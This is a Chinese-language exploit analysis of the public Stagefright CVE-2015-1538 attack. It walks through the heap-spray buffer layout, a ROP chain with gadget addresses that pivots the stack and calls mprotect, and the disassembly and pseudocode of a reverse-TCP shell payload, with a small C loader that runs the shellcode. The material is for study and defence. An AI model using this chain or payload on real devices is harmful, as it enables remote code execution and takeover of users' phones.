CVE-2015-1538漏洞利用中的Shellcode分析

2015年7月以色列移动信息安全公司Zimperium在Android Stagefright框架中发现了多个整数溢出和下溢，不正确整数溢出检查等漏洞，可导致任意代码执行等问题。攻击者通过发送包含特制媒体文件的MMS或WEB页来触发该漏洞。由于stagefright不只是用来播放媒体文件的，还能自动产生缩略图，或者从视频或音频文件中抽取元数据，如长度、高度、宽度、帧频、频道和其他类似信息。因此接收到恶意彩信的用户只要查看缩略图就可触发该漏洞。

“Stagefright”媒体播放引擎库在Android 2.2中引入，至5.1的所有版本上均存在此漏洞。使用Stagefright库的应用程序以Media权限运行，成功利用漏洞，允许攻击者以媒体库上下文查看相应的文件，但通过权限提升攻击，可完全控制设备。该Stagefright漏洞所对应的CVE ID如下：
CVE-2015-1538
CVE-2015-1539
CVE-2015-3824
CVE-2015-3826
CVE-2015-3827
CVE-2015-3828
CVE-2015-3829

zimperium研究人员Joshua Drake在8月的BlackHat会议上讲解并演示了该漏洞。9月份在官方博客（blog.zimperium.com）公开了其中一个漏洞：CVE-2015-1538的利用代码。

虽然CVE-2015-1538的利用是在Android 4.0.x上实现的，相对于高版本Android，少了很多缓解技术需要bypass，但是其exploit中所用的媒体文件堆喷、pivot stack、反向连接shell等一些技巧可为以后借鉴，所以将其记录下，也是留个备忘。

Shellcode代码分析

ROP

分析Exploit可知，该漏洞利用“tx3g”tag进行内存堆喷射（2M）来达到执行shellcode。其单个spray buffer的构造如下：
Offset value
0x0 sp_addr + 16{}
0x4 sp_addr + 8
0x8 1
0xC 0xcodedbad
0x10 sp_addr + 24
0x14 16
0x18 sp_addr + 32
0x1C 0xf00dbabe
0x20 0xcode0000 + 0x0
0x24 0xcode0000 + 0x4
0x28 0xcode0000 + 0x8
0x2C new_pc{}
0x30 0xf0f00000+x1
… …
0x4C, ROP+0x0 sp_addr + 0x40
ROP+0x4 0xb0002a98{}
ROP+0x8 0xb00038b2 + 1{}
ROP+0xC sp_addr & 0xFFFFF000
ROP+0x10 0x1000
ROP+0x14 7
ROP+0x18 0xd000d003
ROP+0x1C 0xd000d004
ROP+0x20 0xb001144{}
ROP+0x24 sp_addr + 0x80
ROP+0x28 0xf0f00000 + x1
… … …
ROP+0x4C payload/shell_reverse_tcp
… …
0x1000 0xf0f00000 + xn

从exploit看，mediaserver crash时代码走到了android::RefBase::decStrong(android::RefBase *__hidden this, const void *)，汇编代码如下：
.text:0000EE34 70 B5 PUSH {R4-R6,LR}
.text:0000EE36 05 46 MOV R5, R0
.text:0000EE38 44 68 LDR R4, [R0,#4]
.text:0000EE3A 0E 46 MOV R6, R1
.text:0000EE3C 20 46 MOV R0, R4
.text:0000EE3E FD F7 54 EB BLX android_atomic_dec
.text:0000EE42 01 28 CMP R0, #1
.text:0000EE44 0B D1 BNE loc_EE5E
.text:0000EE46 A0 68 LDR R0, [R4,#8]
.text:0000EE48 01 68 LDR R1, [R0]
.text:0000EE4A CA 68 LDR R2, [R1,#0xC]
.text:0000EE4C 31 46 MOV R1, R6
.text:0000EE4E 90 47 BLX R2

按这段代码的执行流程如下：

1）r0 = spray_address = sa

LDR R4, [R0,#4]

执行后，r4 = [sa+4] = sa+8

.text:0000EE46 LDR R0, [R4,#8]

执行后,r0 = [r4+8]=[sa+8+8]=[sa+0x10]=sa+24=sa+0x18

.text:0000EE48LDR R1, [R0]

执行后，r1=[r0+0]=[sa+0x18]=sz+32=sa+0x20

.text:0000EE4A LDR R2, [R1,#0xC]

执行后，r2=[r1+0xC]=[sa+0x20+0xC]=[sa+0x2C]=new_pc。执行blx r2跳到new_pc处。

2）new_pc

exploit中默认定义的new_pc为0xb0002850（__dl_restore_core_regs），位于libc.so中。看Android 4.1.2的libc.so中的restore_core_regs函数：
.text:00010BA8 EXPORT restore_core_regs
.text:00010BA8 ADD R1, R0, #0x34 ; Alternative name is ‘__restore_core_regs’
.text:00010BAC LDMIA R1, {R3-R5}
.text:00010BB0 STMFD SP!, {R3-R5}
.text:00010BB4 LDMIA R0, {R0-R11}
.text:00010BB8 LDMFD SP, {SP-PC}

这段代码主要是用于pivot stack：

ADD R1, R0, #0x34

此时r0=sa+0x18，r1=sa+0x18+0x34=sa+0x4C

.text:00010BAC LDMIA R1, {R3-R5}

将r1指向地址sa+0x4C的内容依次写到r3，r4，r5中，即r3=sa+0x40=ROP+0x0，r4=0xb0002a98，r5=0xb00038b2+1

.text:00010BB0 STMFD SP!, {R3-R5}

将r3，r4，r5入栈。

.text:00010BB8 LDMFD SP, {SP-PC}

出栈操作；执行完后sp=ROP+0xC；lr=0xb0002a98；pc=0xb00038b2+1

3）执行pc

此时pc为0xb00038b2+1，基所指向的指令为：

pop {r0, r1, r2, r3, r4, pc}

将sp指向的栈弹出并存入到r0-r4及pc寄存器中，该条指令执行完后，r0=sp_addr & 0xFFFFF000，r1=0x1000，r2=7，pc=0xb001144。

该条指令可以libstagefright.so中找到。如在4.1.2下：thumb，libstagefright.so + 0x0009086C。

4）再执行pc

此时pc为0xb001144，该地址是mprotect函数的地址，位于libc.so中，代码如下：

.text:0000CACC EXPORT mprotect
.text:0000CACC STMFD SP!, {R4,R7}
.text:0000CAD0 MOV R7, #0x7D
.text:0000CAD4 SVC 0 ;超级用户调用
.text:0000CAD8 LDMFD SP!, {R4,R7}
.text:0000CADC MOVS R0, R0
.text:0000CAE0 BXPL LR
.text:0000CAE4 B sub_39D44

将sp_addr地址，长度为0x1000的内存改为可执行权限。

.text:0000CAE0 BXPL LR

如果执行成功则调用lr，即0xb0002a98。

5）执行lr

此时lr为0xb0002a98，其指向的指令如下：

pop {pc}

当前sp=ROP+0x24，执行完成后`pc=sa+0x80，即shell_reverse_tcp代码的地址。

该条指令可以libstagefright.so中找到。如在4.1.2下：thumb，libstagefright.so + 0x0005ad14。

shell_reverse_tcp

exploit代码看shell_reverse_tcp是反向连接到目标ip:port的一段payload，这段代码是从metasploit的shell_reverse_tcp[3]修改而来的。为了搞清楚这段代码的功能，我们写了一段loader来加载这段代码，然后反汇编进行分析，如下：
unsignedchar payload[] =
“\x02\x70\xa0\xe3″
……
“65\x6d\x2f\x62\x69\x6e\x3a\x2f\x73\x79\x73\x74\x65\x6d\x2f\x78\x62\x69\x6e\x00″;
int loader()
{
printf(“hello payload: 0x%x\n”, payload);
asm__volatile__ (
“ldr r0, =payload \t\n”
“blx r0 \t\n”);
return0;
}
int main(intargc, char* constargv[])
{
loader();
return0;
}

中payload[]数组中的数据是从exploit的shell_reverse_tcp中提取的。这种加载方式在Android 4.1.x可以运行，高版本Android增加了安全缓解技术，会报错，但不影响分析代码。用IDA Pro加载编译程序，可以看到shell_reverse_tcp的反汇编代码如下：
.data:00002000 02 70 A0 E3 MOV R7, #2
.data:00002004 00 0000 EF SVC 0 ; __fork
.data:00002008 00 00 50 E3 CMP R0, #0
.data:0000200C 02 00 00 0A BEQ loc_201C
.data:00002010 00 00 A0 E3 MOV R0, #0
.data:00002014 01 70 A0 E3 MOV R7, #1
.data:00002018 00 0000 EF SVC 0 ; _exit_thread
.data:0000201Cloc_201C ; CODE XREF: .data:0000200Cj
.data:0000201C 42 70 A0 E3 MOV R7, #0x42
.data:00002020 00 0000 EF SVC 0 ; setsid
.data:00002024 02 00 A0 E3 MOV R0, #2
.data:00002028 01 10 A0 E3 MOV R1, #1
.data:0000202C 05 20 81 E2 ADD R2, R1, #5
.data:00002030 8C 70 A0 E3 8D 70 87 E2 MOV R7, #0x119
.data:00002038 00 0000 EF SVC 0 ; socket
.data:0000203C 00 60 A0 E1 MOV R6, R0
.data:00002040 6C 10 8F E2 ADR R1, loc_20B4 ; structsockaddr_in
.data:00002044 10 20 A0 E3 MOV R2, #0x10
.data:00002048 8D 70 A0 E3 8E 70 87 E2 MOV R7, #0x11B
.data:00002050 00 0000 EF SVC 0 ; connect
.data:00002054 06 00 A0 E1 MOV R0, R6
.data:00002058 00 10 A0 E3 MOV R1, #0
.data:0000205C 3F 70 A0 E3 MOV R7, #0x3F
.data:00002060 00 0000 EF SVC 0 ; dup2
.data:00002064 06 00 A0 E1 MOV R0, R6
.data:00002068 01 10 A0 E3 MOV R1, #1
.data:0000206C 3F 70 A0 E3 MOV R7, #0x3F
.data:00002070 00 0000 EF SVC 0 ; dup2
.data:00002074 06 00 A0 E1 MOV R0, R6
.data:00002078 02 10 A0 E3 MOV R1, #2
.data:0000207C 3F 70 A0 E3 MOV R7, #0x3F
.data:00002080 00 0000 EF SVC 0 ; dup2
.data:00002084 30 00 8F E2 ADR R0, aSystemBinSh ; “/system/bin/sh”
.data:00002088 04 40 24 E0 EOR R4, R4, R4
.data:0000208C 10 00 2D E9 STMFD SP!, {R4}
.data:00002090 38 30 8F E2 ADR R3, aPathSbinVendor ; “PATH=/sbin:/vendor/bin:/system/sbin:/sy”…
.data:00002094 08 00 2D E9 STMFD SP!, {R3}
.data:00002098 0D 20 A0 E1 MOV R2, SP
.data:0000209C 10 00 2D E9 STMFD SP!, {R4}
.data:000020A0 24 40 8F E2 ADR R4, aSh ; “sh”
.data:000020A4 10 00 2D E9 STMFD SP!, {R4}
.data:000020A8 0D 10 A0 E1 MOV R1, SP
.data:000020AC 0B 70 A0 E3 MOV R7, #0xB
.data:000020B0 00 0000 EF SVC 0 ; execve
.data:000020B4 loc_20B4 ; DATA XREF: .data:00002040o
.data:000020B4 02 00 30 39 ;structsockaddr_in: <family+port+host>, port: 0x3039(12345)
.data:000020B8xx xxxxxx; ip address
.data:000020BC 2F 73 79 73 74 65 6D 2F+aSystemBinSh DCB “/system/bin/sh”,0 ; DATA XREF: .data:00002084o
.data:000020BC 62 69 6E 2F 73 68 00 ; .data:loc_20B4o
.data:000020CB 00 DCB 0
.data:000020CC 73 68 00 aSh DCB “sh”,0 ; DATA XREF: .data:000020A0o
.data:000020CF 00 DCB 0
.data:000020D0 50 41 54 48 3D 2F 73 62+aPathSbinVendor DCB “PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin”,0
.data:000020D0 69 6E 3A 2F 76 65 6E 64+ ; DATA XREF: .data:00002090o
.data:0000210D 00 DCB 0

payload通过svc指令调用相应的linux函数，相应的函数已备注在汇编代码中，这段代码功能是通过tcp连接远程服务器的特定端口，伪代码如下：
r = fork();
if r<>0
exit_thread();
setsid();
s = socket(2,1,6);
connect(s, socaddr, 0x10);
dup2(s,0);//@stdin
dup2(s,1);//@stdout
dup2(s,2);//@stderr
execve(“/system/bin/sh”, “sh”, “PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin”

loader编译后直接运行会失败，这是因为payload存储在“.data”节中，其属性是“Read”的，需要为该节增加“Execute”属性才会运行成功。这里使用010 Editor的ELFTemplate为“.data”节增加“Execute”属性：

然后push到设备中，即可运行成功：

参考文献：

https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/
https://github.com/jduck/cve-2015-1538-1
https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb